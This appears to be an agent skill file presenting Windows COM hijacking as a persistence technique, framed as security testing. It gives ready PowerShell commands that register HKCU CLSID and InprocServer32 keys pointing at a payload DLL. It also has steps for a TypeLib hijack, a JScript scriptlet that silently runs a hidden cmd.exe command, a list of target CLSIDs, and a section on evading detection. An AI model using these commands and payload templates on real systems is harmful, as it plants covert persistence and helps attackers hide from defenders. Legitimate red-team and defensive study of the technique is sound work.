COM Hijacking for Windows Security Testing

This skill provides techniques for identifying and exploiting COM hijacking vulnerabilities on Windows systems. COM hijacking is a powerful persistence mechanism that leverages Windows' Component Object Model registry resolution order.

Understanding COM Hijacking

Windows COM uses a registry resolution order where

HKCU

HKLM

Registry Resolution Order

1. HKCU\Software\Classes\CLSID\{CLSID}

2. HKLM\Software\Classes\CLSID\{CLSID}

3. HKCR\CLSID\{CLSID}

   (merged view of above)

Technique 1: Finding Non-Existent COM Components

Use Process Monitor to identify COM components that applications search for but don't exist. These are prime candidates for hijacking.

ProcMon Filter Configuration

Apply these filters in Process Monitor:

• Operation:

  RegOpenKey

• Result:

  NAME NOT FOUND

• Path: ends with

  InprocServer32

This reveals COM CLSIDs that applications attempt to load but fail to find, indicating they could be created for persistence.

Creating a COM Hijack

Once you've identified a target CLSID, create the hijack entry:

# Create the CLSID key
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{TARGET-CLSID}" -Force

# Create InprocServer32 with your payload path
New-Item -Path "HKCU:Software\Classes\CLSID\{TARGET-CLSID}" -Name "InprocServer32" -Value "C:\path\to\payload.dll" -Force

# Set the threading model
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{TARGET-CLSID}\InprocServer32" -Name "ThreadingModel" -Value "Both" -Force

Important: Be cautious about hijacking COM components that load frequently. This could cause system instability or alert detection systems.

Technique 2: Task Scheduler COM Hijacking

Windows Task Scheduler uses COM objects for custom triggers. These are predictable and often run at user logon, making them excellent persistence targets.

Finding Hijackable Task Scheduler COM Components

Use the helper script to enumerate Task Scheduler COM components:

. scripts/find-task-scheduler-com.ps1

This script identifies tasks that:

• Use COM ClassId actions
• Have enabled triggers
• Run under the Users group (S-1-5-32-545)

Analyzing Results

For each identified task, check if the CLSID exists in HKCU:

# Check if CLSID exists in HKCU (it shouldn't for a good target)
Get-Item -Path "HKCU:Software\Classes\CLSID\{CLSID}" -ErrorAction SilentlyContinue

# Check if it exists in HKLM (it should)
Get-Item -Path "HKLM:Software\Classes\CLSID\{CLSID}" -ErrorAction SilentlyContinue

If the CLSID exists in HKLM but not HKCU, it's a viable hijacking target.

Technique 3: COM TypeLib Hijacking

Type Libraries (TypeLib) define COM interfaces and are loaded via

LoadTypeLib()

Finding Target TypeLibs

Identify high-frequency CLSIDs and their associated TypeLibs:

# Example: Microsoft Web Browser control
$clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
$libid = (Get-ItemProperty -Path "Registry::HKCR\CLSID\$clsid\TypeLib").'(default)'
$ver   = (Get-ChildItem "Registry::HKCR\TypeLib\$libid" | Select-Object -First 1).PSChildName

Write-Host "CLSID=$clsid  LIBID=$libid  VER=$ver"

Creating a TypeLib Hijack

Use the helper script to create a TypeLib hijack:

. scripts/create-typelib-hijack.ps1 -LibId "{LIBID}" -Version "{VERSION}" -ScriptPath "C:\path\to\payload.sct"

Scriptlet Format

Create a minimal JScript scriptlet (

.sct

<?xml version="1.0"?>
<scriptlet>
  <registration progid="UpdateSrv" classid="{F0001111-0000-0000-0000-0000F00D0001}" description="UpdateSrv"/>
  <script language="JScript">
    <![CDATA[
      try {
        var sh = new ActiveXObject('WScript.Shell');
        // Execute your payload
        var cmd = 'cmd.exe /K your-command-here';
        sh.Run(cmd, 0, false);
      } catch(e) {}
    ]]>  
  </script>
</scriptlet>

Triggering

The scriptlet executes when:

• Internet Explorer opens
• Applications embedding WebBrowser control load
• Explorer.exe performs certain operations
• Any application loads the hijacked TypeLib

Cleanup Procedures

Always clean up after testing:

# Remove COM hijack
Remove-Item -Recurse -Force "HKCU:Software\Classes\CLSID\{CLSID}" 2>$null

# Remove TypeLib hijack
Remove-Item -Recurse -Force "HKCU:Software\Classes\TypeLib\{LIBID}\{VERSION}" 2>$null

# Remove dropped files
Remove-Item -Force "C:\path\to\payload.sct" 2>$null
Remove-Item -Force "C:\path\to\payload.dll" 2>$null

Detection Evasion Considerations

1. Timing: Avoid hijacking components that load too frequently
2. Legitimacy: Use CLSIDs that are commonly present on systems
3. Stealth: TypeLib hijacking is less commonly detected than direct COM hijacking
4. 64-bit systems: Populate both

   win32

   and

   win64

   subkeys for comprehensive coverage

Common Target CLSIDs

{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}

{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}

{1936ED8A-BD93-3213-E325-F38D112938E1}

References

• Hijack the TypeLib – New COM persistence technique (CICADA8)
• Check Point Research – ZipLine Campaign
• HackTricks - COM Hijacking

Helper Scripts

• scripts/find-task-scheduler-com.ps1

  - Enumerate hijackable Task Scheduler COM components

• scripts/create-typelib-hijack.ps1

  - Create TypeLib moniker hijacks

• scripts/find-com-hijacks.ps1

  - Parse ProcMon logs for hijackable COM components

• scripts/create-com-hijack.ps1

  - Create standard COM hijack entries